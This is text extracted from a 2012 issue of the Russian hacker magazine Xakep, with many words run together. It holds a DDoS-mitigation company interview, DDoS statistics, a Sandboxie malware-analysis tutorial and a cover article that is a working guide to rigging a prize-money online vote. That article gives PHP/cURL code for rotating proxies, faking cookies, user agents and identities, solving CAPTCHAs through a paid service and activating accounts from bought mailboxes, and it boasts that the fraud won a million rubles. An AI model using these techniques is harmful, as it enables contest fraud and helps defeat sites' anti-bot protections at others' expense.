эксперимент: поставим Windows XPSP1 на честный IP-адрес. Сколько он проживетдо того, как на него что-нибудь «приземлится»,даже если не открывать веб-бразуер?Максимум пять минут. Есть много команд,которые борются за увеличения тела ботнета,а само предложение уязвимых систем крайнеограниченно. Соответственно, количествоботнетов растет, а вот их размеры медленно,но верно снижаются. Ботнеты уже начинаютпересекаться, то есть один компьютер являетсячленом нескольких ботнетов сразу.Ботнетов на десятки миллионов компьютеровстановится всё меньше и меньше. Ими обладаютсовсем уж джедаи. :)У нас нет возможности делать реверсинжинирингкода ботнета, потому чтоу нас нет административных возможностейпо изъятию его тела и, самое главное, у наснет своих специалистов, способных делатьобратный инжиниринг кода, ориентированногона Windows-системы.О HIGHLOAD LABИдея заниматься DDoS-атаками возниклау нас еще в МГУ. Мы посмотрели, как обстоятдела с устойчивостью к внешним воздействияму правительственных ресурсов и с устойчивостьювеб-приложений в России в целом.Стало понятно, что наши услуги, скорее всего,будут востребованы. Ведь отвалившийсяинтернет-магазин — это проблема толькоего владельца, но отвалившаяся налоговаяинспекция — это проблема всей страны.Начать исследования — это была моя личнаяинициатива. Университет предоставил инфраструктуру,я на свои деньги закупил оборудование.В 2008 году у нас возникла идея. В 2009 годупоявилась бета-версия продукта, которую мыобкатывали в режиме открытой беты большуючасть 2010 года. Мы принимали у себя на площадкелюбой терпящий бедствие проект.Стало ясно, что с этой задачей мы справляемсянеплохо, даже располагая ограниченной университетскойинфраструктурой. Мы, к примеру,помогли газете «Ведомости». Было здорово. :)К коммерциализации нас подтолкнула необходимость:в июне 2010 года, когда максимальнаяемкость университетской сети составляла 10Гбит, на нас упала атака в 12,5 Гбит. Атака показала,что фильтры справляются, и мы легкосможем преодолеть и более мощную атаку,но нужны канальные емкости. Это ценный и дорогойресурс, но проигрывать тоже не хочется...У нас были какие-то свои накопленные средства,на которые и были закуплены канальныеемкости. Также было закуплено дополнительноеоборудование.Нам повезло с запуском — у нас был замечательныйстресс-тест. То есть 1 сентября я по планукак раз поставил последнюю точку входа, а 2сентября к нам пришел Хабрахабр под атакой 6Гбит. Мы получили бесплатный стресс-тест.Трафик — это одна из наших главных статейрасходов. Его тратится не просто много, а оченьмного.Компания работает в нескольких направлениях:мы разрабатываем на заказ высоконагруженныевеб-приложения и консультируемпо вопросам их создания. Второе направление,самое перспективное для нас, самое динамичноразвивающееся, — это наш «коробочный»продукт, система фильтрации трафика Qrator.В него мы инвестируем практически всё, чтозарабатываем.На данный момент в нашей компании работает12 человек. В нетехнический штат входятвосемь инженеров и четыре других сотрудника.Двое из них внештатники из Москвы. В началегода, если всё пойдет хорошо, мы хотимпригласить в компанию еще двух инженеров.Так же как и Яндекс, мы ищем математиков,которые могут программировать, работатьс данными (структурированным и плохо структурированными).К сожалению, мы не занимаемся реверсинжинирингом,но видим, что каждая атакаимеет свою сигнатуру и логику.Мы существуем уже год. Это был не самыйлегкий год. В какие-то моменты было очень тяжелои финансово, и морально. Но за это времямы выяснили, какие вопросы возникают приэксплуатации сервиса, поняли, как формироватьтарифную стеку. Поскольку услуга новая,никто не знает, как ее продавать. Все предложенияна рынке имеют те или иные изъяны.Highloadlab прибыльна. В этом году мы планируемпроводить серьезные технические разработки— будем строить новую версию своихспециализированных сетевых процессоров— и активно развивать партнерство со всемизаинтересованными компаниями: хостингкомпаниями,телекомами.Одна из наших целей — обеспечить защитудля мелкого бизнеса. Это самая незащищеннаяот атак прослойка. Многие компанииберут за защиту от DDoS-атак от 50–100 тысяч,и, если мелкий бизнес столько заплатит, онразорится. Для предприятий малого бизнесау нас есть специальный тариф — 5000 рублей.Но это не значит, что по более низким расценкаммы работаем хуже. На всех наших тарифахиспользуется одна и та же система, качествофильтрации везде одинаково.Мы предельно аполитичны. Во время выборовнашими клиентами были «Слон», New Times,golos.org, «Эхо Москвы», «Новая газета» СПБ,Forbes, Public Post, «Ведомости»... В общем,мы приняли под свое крыло всю оппозицию.Но даже с большим удовольствием мы бы поработалис тем же ЦИК. Но ЦИК к нам не пришел.Единственный критерий для нас — ресурсдолжен обязательно соблюдать все законы.Мы принципиально не связываемся с сайтами,содержащими пиратский контент, имеющиминацистскую или порнографическую направленность,с фарма-партнерками и прочейинтернет-грязью.Мы подумали, что если бы нам удалось создатьсистему, построение и функционированиекоторой обходилось бы дешевле, чем проведениеатаки, способной убить эту систему,то мы бы ликвидировали экономическое плечоатаки. Атаковать стало бы невыгодно. Исходяиз этого, мы и строили идеологию развития нашегорешения. z028ХАКЕР 02 /157/ 2012


Формула DDoSВ прошлом году для многих стал ясен неожиданный факт: если какой-то сайт нужноположить, то это вполне можно устроить. Сколько DDoS-атак устроивается за годи насколько они эффективны — разбираемся с цифрами от Highloadlab.+ + + =Компоненты DDoS-атакиСтатистика DDoS-атак в 2011 годупроизводимыйэффектКакие целиу атакующих?1861 ботов— средний размерботнетаВсего было 1905атакСамые мощные атаки340 атакбез ботов34 атакимощностьювыше 1 ГБ/срекламаАтаки по месяцам:Январь 437Февраль 392политикаМарт 30356 Гбит/с — максимальнаямощностьатаки486 ч. — максимальнаяпродолжительностьатакиКого чаще всего DDoS-ят?239 991 — количествоботов с самом большомботнетеАпрель 87Май 22Июнь 85Июль 103убежденияАвгуст 89Сентябрь 52Октябрь 85DDoS — это методконкурентнойборьбыСамые продолжительныеатаки были на магазинкедровых бочек :)Наибольший суммарныйтрафик — магазинмагнитных игрушекНоябрь 143Декабрь 107деньги*ДАННЫЕ НА СЕРЕДИНУ ДЕКАБРЯ 2011ХАКЕР 02 /157/ 2012029


COVERSTORY|qbz|ОНЛАЙН-ГОЛОСОВАНИЕКак накрутитьмиллионПОЛНЫЙ ГИДПО НАКРУТКЕОНЛАЙН-ГОЛОСОВАНИЙКонкурсы с голосованием —модный тренд. Они привлекаютбольшое количествопосетителей, а трафик, какизвестно, это деньги. Особыйинтерес вызывают конкурсы,где за победу предлагаютсялакомые призы. В этой статьея хочу рассказать о довольносвоеобразном способе участияв подобных опросах.DVDНа нашем дискеты найдешь всескрипты и функции,описанные в статье.ПРЕДЫСТОРИЯКак-то раз, глубокой ночью, когда все нормальные люди уже спят,я сидел и о чем-то яростно дискутировал с другом в аське. В этотмомент ко мне постучался клиент, который предложил плевую,на первый взгляд, задачу, суть которой заключалась в накруткеопределенного количества голосов в одном онлайн-голосовании.Само голосование проходило за лучший короткометражный авторскийфильм. Уже имея опыт накручивания всевозможных счетчиков,я сначала подумал, что потребуется набросать очередной скриптиз пары запросов на cURL, проходящих через прокси-сервер.Сомнения закрались, когда я увидел главный приз конкурса — одинмиллион рублей.Тут мне стало интересно, к каким методам защиты от накруткиприбегла администрация сайта при таком существенном спонсировании.Ниже — мой отчет о том, как я последовательно решал проблемы,необходимые для реализации эффективного накрутчика.РАЗВЕДКАСразу предупрежу, что в подобных голосованиях отслеживаетсяIP-адрес каждого запроса, но подробно рассматривать это проблемумы не будем.Существует довольно много способов добыть свежие прокси, а стехнической точки зрения смена прокси для выполнения нового запросарешается всего одной строкой c cURL:030ХАКЕР 02 /157/ 2012


Как накрутить миллионcurl_setopt($c, CURLOPT_PROXY, $proxy_address);Разработку накрутчика всегда стоит начинать с разведки.Я решил не изменять этому правилу и, прежде чем голосовать,запустил свой снифер. Для идентификации нас как уникальногопосетителя сайт сначала ставил в куки банальную сессию. Затемресурс предлагал указать возраст для подтверждения совершеннолетия(скорее всего, потому, что некоторые фильмы были «длявзрослых»).Посмотрим на это с точки зрения накрутки: скрипт каждый разпроверяет дату рождения, поэтому было бы глупо производить накруткус тысяч IP-адресов с одинаковой датой рождения. А значит,первое, что мы должны предусмотреть, — это граббинг сессиии рандомную генерацию даты рождения в cookie. Для этого в самомначале нашего скрипта мы объявим глобальную переменную с ранеесгенерированной датой в кукисах:$cookie_session = array('BIRTHDAY='.rand(1,29).'-'.rand(1,12).'-'.rand(1960,1985),'IS_18OLDER=1','LANG=en');Теперь, после того как мы подтвердили, что уже взрослыедядьки, нам следует зарегистрироваться. Переходим на страницурегистрации и видим, что нас просят ввести имя, фамилию,e-mail, на который придет активационный код, и текст с капчи.Данные для первых двух полей, а именно фамилию и имя, мы тожедолжны генерировать каждый раз разные, так как 20 тысяч голосовот Петра Сидорова немного насторожат администратора. :)Имена и фамилии легко достать в интернете или спарситьсамому с какого-нибудь сайта имен и фамилий. А вот с активационнымкодом и капчей придется повозиться. Хорошо, заполняемформу, нажимаем «Зарегистрироваться» и топаем на мыло. Тамнас ждет письмо со ссылкой на подтверждение регистрации. Послеактивации аккаунта нам следует авторизоваться, то есть зайтина страницу авторизации и отправить логин и пароль. При этоммы получаем в кукисах вторую сессию, отвечающую за доступк аккаунту. Затем нужно перейти на страничку видеоролика, которыймы накручиваем, и нажать кнопочку «Голосовать». Запроспередается через Ajax, что немного ускоряет процесс накрутки.В принципе, это все. Но не забываем, что на кону целый миллион,поэтому нам нужно учесть все детали и мелочи, чтобы накруткунельзя было заметить.Статус работы накрутчикаПанель для управления сервисом для распознования CAPTCHA'ейУНИКАЛЬНОСТЬ ЗАГОЛОВКОВВ любой накрутчик сразу же хочется добавить многопоточность.Но данный случай, скорее, представляет собой исключение из правил,и многопоточность нам только помешает. Если проголосоватьв одну секунду тысячу раз, а потом весь день не голосоватьвообще, это будет слишком подозрительно. Поэтому мы прибегнемк поочередному голосованию, во время которого к тому же будемделать паузы.Вдобавок следует отметить, что браузер (заголовок User-Agent)тоже нужно генерировать всегда рандомно, так как для пущейдостоверности у всех ботов должны быть разные «браузеры». Дляэтого у меня давно подготовлен скрипт с большим количествомюзер-агентов, который ждет тебя на нашем диске. Достаточно простодобавить две строки:include('./useragents.lib.php');$chosen_useragent = chooseBrowser();Таким образом, мы получим рандомный браузер из 150 возможных.Идем дальше. Сайт сразу устанавливает сессию, котораяпотом передается в каждом запросе через cookie. Поэтому первое,что нам нужно сделать при работе с сайтом, — это придумать, подкакой браузер мы будем маскироваться (User-Agent), и получитьсессию, чтобы потом вставлять ее в каждый запрос.В cURL есть возможность манипулировать cookie-записями,но я не люблю этот способ и сохраняю куки в глобальной переменной,которая доступна из всех функций. Для этого просто составляемзапрос с предустановленным юзер-агентом к главной страницесайта, получаем куки, которые возвращает сервер, и сохраняем ихв переменной для дальнейшего использования.ЗАГРУЗКА ВСЕЙ СТРАНИЦЫЕще один момент, который может показаться излишним, — это выполнениеабсолютно всех запросов, которые выполняет браузер. Возникаетсоблазн отправить минимум запросов с данными. Но это былобы ошибкой. Почему? Потому, что на сайте может действовать такойспособ выявления накрутки, как, скажем, учет хитов по картинке.Это означает, что количество загрузок, например, картинкивидеоролика должно приблизительно равняться количеству просмотровэтого видео. Количество посещений всегда должно превышать(раза в два-четыре) количество голосов. Таким образом, мыбудем не только накручивать голоса с помощью левых аккаунтов,но и эмулировать «ботов», просматривающих видео. Лично я взялсоотношение 1 : 3, чтобы на три просмотра приходился один голос.Но если грузить только страницу просмотра видео (накручиватьколичество просмотров), то нужно также не забывать загружатьи весь остальной контент, то есть картинки, JavaScript-файлы,таблицы стилей и всё-всё-всё, вплоть до иконки сайта. А какиначе? Для 100 голосов нужно 1000 посещений, а если при 1000посещений картинка видеоролика будет загружена всего 20 раз, тоэто вызовет явные подозрения.Каким же образом можно эмулировать абсолютно всю загрузку?Ведь для этого необходимо парсить страницу, скрипты, таблицыстилей и все остальное. Нет, парсить мы ничего не будем, точнее,ХАКЕР 02 /157/ 2012 031


COVERSTORYмногопоточно (снова смотри диск). Эта функция принимает массивссылок и массив шапок (headers), которые впоследствии загружаютсямногопоточно, что ускоряет процесс.Также можно опционально выключить/включить загрузку самихфайлов, оставив только загрузку шапки, либо просто посылатьзапросы, ничего не загружая. Последний параметр функции позволяетзагрузить только определенный элемент, если нам не нужнывсе остальные. Открою тебе небольшую тайну: это пригодится призагрузке страницы регистрации, а именно при загрузке файлакапчи.ИЗВЛЕКАЕМ CAPTCHAЧтобы эмулировать действия пользователя, для начала мы должнызайти на главную страницу. Сделаем это с помощью следующегокода:function loadIndex(){global $chosen_useragent, $cookie_session;$list = parseRequests(file_get_contents('./index_map.txt'),$chosen_useragent,'Cookie: ' . implode('; ', $cookie_session));$links = array(); $heads = array();foreach ($list as $link => $head){$links[] = $link;$heads[] = $head;}$paged = cM($links, $heads, 1, 1);}Логи HTTP-сниферабудем, но не страницу. Все можно сделать проще. Достаточнолишь воспользоваться плагином LiveHTTPHeaders в браузереMozilla Firefox (или же сервисом Opera Dragonfly из могучей Оперы)и открыть с его помощью страницу, загрузку которой мы хотимэмулировать. На выходе мы получим длинный лог всех обращенийко всем файлам, которые загрузил браузер. Сохраним этот логв файле и напишем две функции.Первая будет парсить этот лог-файл и возвращать нам массивиз значений, где адресом загружаемого файла служит ключ,а значением — хидер текущей загрузки, причем с предустановленнымикуки (сессией) и браузером, так как куки и браузер должныменяться при каждом голосовании (поскольку объем журналакрайне ограничен, советую прямо сейчас найти на нашем дискесоответствующую функцию и изучить ее). После сохранения логав файле и вызова вышеупомянутой функции в виде$list = parseRequests(file_get_contents('./index_map.txt'),$chosen_useragent,$cookie);мы получим массив из всех запросов, которые выполнил браузерпри загрузке страницы.Вторая функция называется curlMulti() и отвечает за выполнениеэтих запросов. Здесь мы как раз вполне можем использоватьмногопоточность, поскольку браузер умеет загружать файлыКак видно по вышеприведенной функции, файл index_map.txtкак раз и представляет собой лог, созданный с помощью аддонак Firefox при загрузке всей страницы. Этот лог, кстати, такжеследует немного обработать вручную, так как загружать, например,рекламу Гугла или файлы, размещаемые на других сайтах, не имеетсмысла. С главной страницы перейдем на страницу регистрации.За некоторыми отличиями функция для захода на страницурегистрации будет похожа на предыдущую. Нам нужно подготовитьеще один лог-файл с помощью LiveHTTPHeaders и поправить его,а также заменить строку$paged = cM($links, $heads, 1, 1);на$paged = cM($links, $heads, 1, 1, 'captcha.php');list($c_url, $sid) = explode('captcha_sid=', $links[11]);return array('sid' => $sid,'image' => base64_encode($paged[11]));В данном случае будет эмулироваться загрузка всех элементов,а картинка капчи даже вполне успешно вернется. $links[11]и $paged[11] — это ссылка и значение запроса для 12-го элементазагрузки, а именно капчи, соответственно (рассчитываетсяна основе порядка следования файлов в логе снифера). Из ссылкивыдирается sid, к которому привязано значение текста с капчи.Далее нужно разгадать капчу.В этом нам поможет известный сервис antigate.com, которыйза символическую плату ($1 за 1000 изображений) предлагаетрешить капчи вручную с помощью армии китайцев. В моем случаеAPI-функция распознавания, представленная на официальномсайте, немного модифицирована. В ней я указал только путь к сохраненномуфайлу капчи и ключ доступа:$captcha = loadReg();032ХАКЕР 02 /157/ 2012


Как накрутить миллион$local = md5($captcha['image']);$write_c = fopen('./captchas/'.$local.'.jpg', 'wb');fputs($write_c, base64_decode($captcha['image']));fclose($write_c);$cresult = recognize('./captchas/'.$local.'.jpg', 'e12dc4858bac1f4ee338c577f9d300');Теперь у нас есть ответ капчи в переменной $cresult.ПРОБЛЕМА С ПОЧТОЙДалее мы сталкиваемся с необходимостью как-то зарегистрироватьпочту, чтобы позже использовать ее для активации аккаунта.Само собой, мыло каждый раз должно быть разное. Проблемуможно решить тремя способами:1. Зарегистрировать аккаунты на бесплатных почтовых серверах,например Яндексе или Рамблере. Конечно, если нужно большоеколичество мейлов, то придется использовать крутой автореггерили купить кем-то зарегистрированные (опять же с помощьюавтореггера) аккаунты.2. Купить домен, схожий по названию с известными почтовиками,и настроить скрипт, собирающий в один ящик почту, отправляемуюна все адреса. Таким образом, почта, отправленная на 123@домен.ру и 234@домен.ру, попадет в один ящик, а значит, можносмело генерировать тысячи адресов. Здесь снова нужны деньгии знания.3. Самый простой и бесплатный способ — использовать скрипт,который любезно подготовлен автором этой статьи. Скрипт используетбесплатный сервис mailinator.net для проверки любогоадреса, уже зарегистрированного в системе. Нам нужно простоуказать произвольный адрес на доменах этого сервиса, а потомзайти (без авторизации!) в соответствующий аккаунт через вебинтерфейси проверить почту. Всего доступно 11 доменов. Скриптс подробными комментариями по использованию ждет тебяна диске.Письмо для подтверждения регистрации в конкурсеКакой же из способов мы применим? К сожалению, нам придетсяпотратиться на первый вариант, так как важность моментатребует жертв. Мы не будем писать автореггер, а просто найдемна любом из хакерских форумов продавца аккаунтов, у которогоможно купить адреса электронной почты, подходящие для проверкичерез расширение PHP IMAP. Да, доступ к серверам почтовыхсервисов осуществляется по-разному, поэтому нужно заранееузнать, какой из них нам подойдет, и лишь только потом закупатьсяаккаунтами. Лично мне подходит аккуант на Рамблере, так какникаких проблем с проверкой почты я там никогда не испытывал.Далее пишем вот такую вот функцию для получения тела последнегописьма:function getMessage($login, $password){$imap = imap_open('{mail.rambler.ru:110/pop3/notls}INBOX',$login,$password);if ($imap){$body = imap_qprint(imap_body($imap, (imap_num_msg($imap) - 1)));}else{return false;}return $body;}Эта функция возвращает текст последнего письма, пришедшегоПример онлайн-конкурсаХАКЕР 02 /157/ 2012 033


COVERSTORYв ящик. Подготовим все необходимые данные, а именно само мыло,имя, фамилию и пароль, для соответствующих переменных. Гдевзять адреса для активации аккаунтов, я рассказал выше, а множествоимен и фамилий легко найти в интернете. Пароль можногенерировать вот так:$password = substr(md5(time()), 0, rand(6, 10)).rand(10,99);РЕГИСТРАЦИЯТеперь все готово, и мы можем написать саму функцию регистрации,в чем нам снова поможет плагин LiveHTTPHeaders. В данном случаеу нас имеются POST-данные, отправленные в виде multipart/formdata.Достаточно просто подставить в лог со снифера свои значенияи послать их в POST-запросе курла (CURLOPT_POST, CURLOPT_POSTFIELDS).Не забываем также о меняющемся значении заголовка Content-Type и о том, что при запросе через multipart/form-data нужно генерироватьboundaries. Отправляемые пакеты целесообразно сохранитьгде-нибудь, например в базе MySQL, для использования в дальнейшем.Сохранить необходимо логин и пароль от почты, пароль от аккаунтана сайте, юзер-агент, куки. Почему именно в дальнейшем?Потому, что сначала следует подождать, пока к нам на мейлпридет активационное письмо. Но не стоит тратить время впустую,лучше заняться регистрацией аккаунтов, чтобы их было как можнобольше. Таким образом, разумно разделить весь процесс на регистрациюаккаунтов и накрутку и выполнять их, например, ночьюи днем соответственно.Через некоторое время мы открываем сохраненные данныеи ищем там логин и пароль от почты. Далее проверяем, нет лив ящике письма:$activation = getMessage($email_login, $email_passw);Если письмо пришло, то выдираем ссылку активации простойрегуляркой. Тут никаких особых проблем возникнуть не должно —просто формируем запрос на подтверждение регистрации (обязательновставляем referer и добавляем куки и user-agent, выбранныеранее). Опять же, не забываем про загрузку всех элементов: создаемлог-файл со всеми запросами, парсим его и повторяем действиябраузера.После получения всех данных и подтверждения регистрациинам остается только авторизоваться. Снова делаем запрос, эмулируябраузер и сохраняем полученные куки в глобальной переменной.Таким же образом переходим на страницу видеоролика,который надо накрутить, и смотрим, куда Ajax отправляет запроспосле нажатия на кнопку голосования. Последний шаг — отправкаэтого запроса через cURL. Все запросы желательно делать с трехпятисекунднойпаузой.Как же автоматизировать процесс накрутки? Можно, конечно,использовать циклы, sleep() и прочее непотребство, но я поступилОсновной код накрутчикапроще и сделал так, чтобы после прохода скрипта (без циклов,один голос за один запуск скрипта) в браузер выкидывался кодJavaScript, обновляющий страницу через одну-две минуты. С автоматизациейтебе точно так же поможет и cron на каком-нибудьплатном хостинге.ПОЛУЧИЛОСЬ ИЛИ НЕТ?Что мы получили в результате? Видеоролик постепенно набиралголоса посетителей и «лайки». Все шло гладко, посетителей прибавлялосьв три раза больше, чем лайков. Ночью голосование яотключал, так как иначе все это было бы подозрительно. Накрутивпару тысяч голосов, мой заказчик все-таки выиграл тот самыймиллион, ну и я тоже получил небольшой пряник. Без наградыне остались и еще одни участники этой истории — инсайдеры.Да, ради миллиона в компанию, проводившую это голосование,был заслан «Штирлиц», который информировал заказчика о некоторыхважных деталях. Как оказалось, кроме меня, были и другиенакрутчики, причем таких претендентов специально не снималис конкурса и не обнуляли их голоса — инсайдер доложил, чтоих выкинут в самом конце. Насчет нас, конечно же, изначальноне возникло никаких подозрений :).Занимаясь накруткой, всегда смотри на этот процесс глазамиадминистратора. Следует обратить внимание на всё, к чему можноприкопаться: время, заголовки, сессии, куки, IP-адрес, мыло,скорость. Эти слова сразу же наводят на мысль, что учет всех мелочейочень замедляет процесс. Но сроки в данном случае как разне поджимают. Советую тебе внимательно изучить все прилагающиесяк статье скрипты, чтобы получить полное представлениео том, как работает разработанный накрутчик. zЧТО МОЖНО НАКРУЧИВАТЬ?ПартнеркиНакрутка партнерок по трафикупользуется очень большим спросом,но здесь далеко не всё так просто, каккажется. Во-первых, придется проанализироватьмножество JavaScript'ов, встраиваемыхв страницу, во-вторых, ты, скорее всего, столкнешьсяс проблемой привязки некоторыхпосылаемых данных к параметрам браузера,которые не так-то просто подделать.1 2Популярные социальные сервисыВконтакте, Facebook, YouTube и прочиезнаменитые сайты часто используютразные голосования, «лайки» и другиесредства для увеличения популярностиразных объектов. Здесь также придется возитьсяс JavaScript'ами и анализировать привязкик браузерам, а вдобавок разбиратьсяс авторизацией, капчей и другими методамизащиты от ботов.Голосования с призамиВ статье как раз идет речь о таком3голосовании. Многие сайты с радостьюпроводят всевозможные голосования,которые, как правило, не составляет труданакрутить. Но даже в самом простом случаепредварительно необходимо провести разведку,чтобы учесть все параметры, которыемогут использоваться для оценки уникальностикаждого голоса.034ХАКЕР 02 /157/ 2012


Preview30 страниц журнала на одной полосе.Тизер некоторых статей.PCZONE40ANDROID НА PCРаньше мы стремились запустить насмартфоне приложения, которые на самомделе предназначены для десктопныхОС. Вспомни, хотя бы aircrack или какуюнибудьбанальную утилиту для удаленногорабочего стола. Теперь же наоборот—все чаще хочется прямо в Windowsпощупать те приложения, которые изначальнопоявляются для мобильныхплат форм. Эмуляторы от разработчиковнастолько тормозные, что использоватьих весьма проблематично. Как запуститьна десктопе Android-систему и, скажем,игры, которые не будут тормозить? Илиналадить камфорную отладку при разработкемобильных приложений?Читай в этой статье.PC ZONEВЗЛОМ36ИГРЫ В ПЕСОЧНИЦЕПолный мануал по тому, как настроитьsandbox не только для безопасного запускаподозрительных приложений, но идля подробного анализа бинарников.44ГДЕ ХРАНИТЬ КОД?Разбираемся, где хостить репозиториис кодом своих разработок. Что лучше:GitHub, BitBucket, Assembla или можетбыть старый добрый SourceForge?58ТОТАЛЬНЫЙ ДЕСТРОЙ MONGODBОтсутствие SQLв нереляционных СУБДне означает отсутствие возможностивыполнить инъекции. Разоблачаем мифо безопасности баз данных NoSQL.СЦЕНАMALWARE72ZERONIGHTS 2011Десятки убойных докладов и конкурсов,невероятная хакерская атмосфера,0day-шоу — так прошла конференция поинформационной безопасности в Питере.74БУРИМ АНТИВИРУС. ЕЩЕ ГЛУБЖЕ!Как устроена проактивная защита и мониторингсобытий в популярных антивирусныхрешениях? Объясняем устройствоHIPS на пальцах.82ИСТОРИЯ РУТКИТОВТы уже, наверное, и не вспомнишь постелс-вирусы в MS-DOS — а мы помним.Выбираем наиболее нашумевшиеруткиты за последние 26 лет.ХАКЕР 02 /157/ 2012 035


PC ZONEGray Jack the FixxxerИГРЫВ ПЕСОЧНИЦЕПРИСПОСАБЛИВАЕМ SANDBOXIE ДЛЯАНАЛИЗА ПОДОЗРИТЕЛЬНЫХ ФАЙЛОВЕсть два основных способа безопаснозапустить подозрительный исполняемыйфайл: под виртуальной машиной илив так называемой «песочнице» (sandbox).Причем последнюю можно с помощьюизящного способа адаптировать дляоперативного анализа файла, не прибегаяк специализированным утилитам и онлайнсервисами не используя множество ресурсов,как в случае с виртуалкой. О нем я и хочу теберассказать.WARNINGНеправильноеиспользованиеописанной методикиможет нанести вредсистеме и привестик заражению!Будь внимателени осторожен.«ПЕСОЧНИЦА» ДЛЯ АНАЛИЗАЛюди, которые занимаются компьютернойбезопасностью, хорошо знакомы с концепцией«песочницы». Если вкратце, «песочница» —эта тестовая среда, в которой выполняетсянекая программа. При этом работа налаженатаким образом, что все действия программыотслеживаются, все изменяемые файлы и настройкисохраняются, но в реальной системеничего не происходит. В общем, можешьзапускать любые файлы в полной уверенности,что на работоспособность системы этоникак не повлияет. Такие инструменты можноиспользовать не только для обеспечениябезопасности, но и для анализа тех действийзловреда, которые он выполняет после запуска.Еще бы, ведь если есть слепок системыдо начала активных действий и картина того,что произошло в «песочнице», можно легкоотследить все изменения.Конечно, в Сети есть масса готовых онлайнсервисов,которые предлагают анализ файлов:Anubis (anubis.iseclab.org), CAMAS (camas.comodo.com/cgi-bin/submit), ThreatExpert(www.threatexpert.com), ThreatTrack (www.threattrack.com). Подобные сервисы используютразные подходы и имеют свои достоинстваи недостатки, но можно выделить и общиеосновные минусы:• Необходимо иметь доступ к интернету.• Необходимо ждать очереди в процессе обработки(в бесплатных версиях).• Как правило, файлы, создаваемые или изменяемыев ходе выполнения, не предоставляются.• Невозможно контролировать параметрывыполнения (в бесплатных версиях).• Невозможно вмешиваться в процесс запуска(например, нажимать на кнопки появляющихсяокон).• Как правило, невозможно предоставлятьспецифические библиотеки, необходимыедля запуска (в бесплатных версиях).• Как правило, анализируются только исполняемыеРЕ-файлы.036ХАКЕР 02 /157/ 2012


Игры в «песочнице»Такие сервисы чаще всего строятсяна основе виртуальных машин с установленныминструментарием, вплоть до отладчиковядра. Их можно организовать и дома. Однакоэти системы достаточно требовательны к ресурсами занимают большой объем на жесткомдиске, а анализ логов отладчика отнимаетмного времени. Это значит, что они весьмаэффективны при глубоком исследованииопределенных образцов, но вряд ли смогутоказаться полезными в рутинной работе, когданет возможности нагружать ресурсы системыи тратить время на анализ. Использование«песочницы» для анализа позволяет обойтисьбез огромных затрат ресурсов.ПАРА ПРЕДУПРЕЖДЕНИЙСегодня мы попробуем сделать свой собственныйанализатор на основе «песочницы»,а именно утилиты Sandboxie. Эта программадоступна как условно-бесплатная на сайтеавтора (www.sandboxie.com). Для нашего исследованиявполне подойдет ограниченнаябесплатная версия. Программа запускаетприложения в изолированной среде, так чтоони не производят вредоносных измененийв реальной системе. Но тут есть два нюанса:• Sandboxie позволяет отслеживать толькопрограммы на уровне user mode. Вся деятельностьвредоносного кода в режиме ядране отслеживается. Поэтому максимум, чтоудастся узнать при изучении руткитов — этокаким образом вредонос внедряется в систему.Проанализировать само поведениена уровне kernel mode, к сожалению, невозможно.• В зависимости от настроек Sandboxieможет блокировать выход в Сеть, разрешатьполный дост уп или дост уп только дляотдельных программ. Понятно, что, еслидля нормального запуска вредоносу нуженвыход в интернет, необходимо его предоставить.С другой стороны, если у тебяна флешке валяется Pinch, который запускается,собирает все пароли в системеи отправляет их на ftp злоумышленнику, тоSandboxie с открытым доступом в интернетПесочницы Sandboxieне защитит тебя от потери конфиденциальнойинформации! Это очень важно, и обэтом следует помнить.ПЕРВИЧНАЯ НАСТРОЙКА SANDBOXIESandboxie — великолепный инструмент с большимколичеством настроек. Упомяну лишь теиз них, которые необходимы для наших задач.После установки Sandboxie автоматическисоздается одна «песочница». Ты можешь добавитьеще несколько «песочниц» под разныезадачи. Доступ к настройкам «песочницы»осуществляется через контекстное меню.Как правило, все параметры, которые можноизменять, снабжены достаточно подробнымописанием на русском языке. Для нас особенноважны параметры, перечисленные в разделах«Восстановление», «Удаление» и «Ограничения».Итак:1. Необходимо убедиться, что в разделе «Восстановление»ничего не указано.2. В разделе «Удаление» тоже не должно бытьникаких отмеченных галок и/или добавленныхпапок и программ.Если неправильно выставить параметры в разделах,указанных в пунктах 1 и 2, это можетпривести к тому, что вредоносный код заразитсистему или все данные для анализа будутуничтожены.3. В разделе «Ограничения» необходимо выбратьнастройки, соответствующие твоимзадачам. Практически всегда необходимоограничивать доступ низкого уровня и использованиеаппаратных средств для всехвыполняемых программ, чтобы не допуститьзаражения системы руткитами. А вотограничивать доступ на запуск и выполнение,а также забирать права, наоборот,не стоит, иначе подозрительный код будетвыполняться в нестандартной среде. Впрочем,всё, в том числе и наличие доступак интернету, зависит от задачи.4. Для наглядности и удобства в разделе«Поведение» рекомендуется включитьопцию «Отображать границу вокруг окна»и выбрать цвет для выделения программ,выполняемых в ограниченной среде.ПОДКЛЮЧАЕМ ПЛАГИНЫВ несколько кликов мы получили отличнуюизолированную среду для безопасного выполнениякода, но не инструмент для анализаего поведения. К счастью, автор Sandboxieпредусмотрел возможность использованияцелого ряда плагинов для своей программы.Концепция довольно интересна. Аддоны представляютсобой динамические библиотеки,внедряемые в выполняемый в «песочнице»процесс и определенным образом регистрирующиеили модифицирующие его выполнение.Нам понадобится несколько плагинов,которые перечислены ниже.ЧТО УМЕЕТ И НЕ УМЕЕТ ИНСТРУМЕНТРаботает Buster Sandbox AnalyzerПолученный инструмент умеет:• Отслеживать API-вызовы запущенного приложения.• Отслеживать новые создаваемые файлыи параметры реестра.• Перехватывать сетевой трафик при выполненииприложения.• Проводить базовый анализ файлов и их поведения(встроенный поведенческий анализатор,анализ на VirusTotal по хешам, анализс помощью PEiD, ExeInfo и ssdeep и т. д.).• Получать некоторую дополнительнуюинформацию за счет выполнения в «песочнице»вспомогательных программ (например,Process Monitor) вместе с анализируемой.Этот инструмент не может:• Анализировать зловреды, выполняющиесяв kernel mode (требующие установки драйвера).Тем не менее возможно выявить механизмустановки драйвера (до его фактическоговнедрения в систему).• Анализировать зловреды, отслеживающиевыполнение в Sandboxie. Однако BusterSandbox Analyzer включает в себя ряд механизмов,препятствующих такому отслеживанию.ХАКЕР 02 /157/ 2012 037


